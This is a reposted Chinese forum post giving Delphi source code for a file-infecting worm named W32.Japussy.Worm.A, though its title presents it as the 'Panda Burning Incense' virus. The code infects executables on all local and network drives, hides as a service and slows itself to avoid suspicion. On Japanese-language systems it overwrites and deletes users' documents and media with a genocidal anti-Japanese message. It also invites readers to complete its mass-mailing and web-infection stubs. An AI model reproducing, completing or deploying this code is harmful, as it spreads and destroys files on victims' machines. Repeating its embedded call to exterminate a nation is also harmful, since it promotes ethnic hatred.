[转]熊猫烧香源代码，一些源代码值得我们学习用于正途

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;             //病毒体的大小
IconOffset = $12EB8;           //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
HeaderSize = 38912;             //Upx压缩过病毒体的大小
IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;             //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID       = $44444444;         //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
        'If a country need to be destroyed, it must be Japan! ' +
        '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si:     STARTUPINFO;
Pi:     PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
  Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
    dStream := TFileStream.Create(FileName, fmCreate);
    try
    sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
    dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
    finally
    dStream.Free;
    end;
  finally
    sStream.Free;
  end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
  if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
    Exit;
  Infected := False;
  IsPE   := False;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  try
    for i := 0 to $108 do //检查PE文件头
    begin
    SrcStream.Seek(i, soFromBeginning);
    SrcStream.Read(Buf, 2);
    if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
    begin
      IsPE := True; //是PE文件
      Break;
    end;
    end;
    SrcStream.Seek(-4, soFromEnd); //检查感染标记
    SrcStream.Read(iID, 4);
    if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
    Infected := True;
  finally
    SrcStream.Free;
  end;
  if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
    Exit;
  IcoStream := TMemoryStream.Create;
  DstStream := TMemoryStream.Create;
  try
    aIcon := TIcon.Create;
    try
    //得到被感染文件的主图标(744字节)，存入流
    aIcon.ReleaseHandle;
    aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
    aIcon.SaveToStream(IcoStream);
    finally
    aIcon.Free;
    end;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    //头文件
    HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
    //写入病毒体主图标之前的数据
    CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
    //写入目前程序的主图标
    CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
    //写入病毒体主图标到病毒体尾部之间的数据
    CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
    //写入宿主程序
    CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
    //写入已感染的标记
    DstStream.Seek(0, 2);
    iID := $44444444;
    DstStream.Write(iID, 4);
    finally
    HdrStream.Free;
    end;
  finally
    SrcStream.Free;
    IcoStream.Free;
    DstStream.SaveToFile(FileName); //替换宿主文件
    DstStream.Free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
  SetFileAttributes(PChar(FileName), 0); //去掉只读属性
  FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
  try
    Size := GetFileSize(FileHandle, nil); //文件大小
    i := 0;
    Randomize;
    Max := Random(15); //写入垃圾码的随机次数
    if Max < 5 then
    Max := 5;
    Mass := Size div Max; //每个间隔块的大小
    Len := Length(Catchword);
    while i < Max do
    begin
    FileSeek(FileHandle, i * Mass, 0); //定位
    //写入垃圾码，将文件彻底破坏掉
    FileWrite(FileHandle, Catchword, Len);
    Inc(i);
    end;
  finally
    FileClose(FileHandle); //关闭文件
  end;
  DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  D := Chr(i + 65);
  Str := D + ':/';
  DiskType := GetDriveType(PChar(Str));
  //得到本地磁盘和网络盘
  if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
    Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
  if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
    (SearchRec.Name <> '..') then
    Result := 0 //不是目录
  else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
    (SearchRec.Name <> '..') then
    Result := 1 //不是根目录
  else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
  repeat
    PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
    if IsValidDir(SearchRec) = 0 then
    begin
    Fn := Path + SearchRec.Name;
    Ext := UpperCase(ExtractFileExt(Fn));
    if (Ext = '.EXE') or (Ext = '.SCR') then
    begin
      InfectOneFile(Fn); //感染可执行文件    
    end
    else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
    begin
      //感染HTML和ASP文件，将Base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之？
    end
    else if Ext = '.WAB' then //Outlook地址簿文件
    begin
      //获取Outlook邮件地址
    end
    else if Ext = '.ADC' then //Foxmail地址自动完成文件
    begin
      //获取Foxmail邮件地址
    end
    else if Ext = 'IND' then //Foxmail地址簿文件
    begin
      //获取Foxmail邮件地址
    end
    else
    begin
      if IsJap then //是倭文操作系统
      begin
        if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
        (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
        (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
        (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
        (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
        (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
          SmashFile(Fn); //摧毁文件
      end;
    end;
    end;
    //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
    Sleep(200);
  until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
  repeat
    if IsValidDir(SearchRec) = 1 then
    SubDir.Add(SearchRec.Name);
  until (FindNext(SearchRec) <> 0);
  end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
  LoopFiles(Path + SubDir.Strings + '/', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
  IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
  for i := Len downto 1 do //遍历每个磁盘驱动器
    LoopFiles(DriverList + ':/', '*.*'); //感染之
  SendMail; //发带毒邮件
  Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
  RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
  //远程线程映射到Explorer进程
  //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
  InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
  TmpFile := ParamStr(0); //创建临时文件
  Delete(TmpFile, Length(TmpFile) - 4, 4);
  TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
  ExtractFile(TmpFile); //分离之
  FillStartupInfo(Si, SW_SHOWDEFAULT);
  CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
    0, nil, '.', Si, Pi); //创建新进程运行之
  InfectFiles; //感染和发邮件
end;
end.